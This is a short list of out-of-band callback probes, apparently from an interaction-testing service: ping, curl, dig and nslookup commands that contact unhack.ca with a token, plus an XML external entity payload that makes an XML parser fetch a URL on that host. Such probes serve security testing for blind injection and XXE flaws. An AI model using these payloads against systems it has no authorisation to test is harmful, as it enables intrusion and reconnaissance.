$ ping -c1 -p 00fcbeba1d2cfec6284f7b4a07cf3400 unhack.ca
$ curl http://unhack.ca/p/fcbeba1d2cfec6284f7b4a07cf34
$ dig fcbeba1d2cfec6284f7b4a07cf34 @unhack.ca
$ dig fcbeba1d2cfec6284f7b4a07cf34.ns.unhack.ca
C:\> nslookup fcbeba1d2cfec6284f7b4a07cf34 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/fcbeba1d2cfec6284f7b4a07cf34">]> <foo>&xxe;</foo>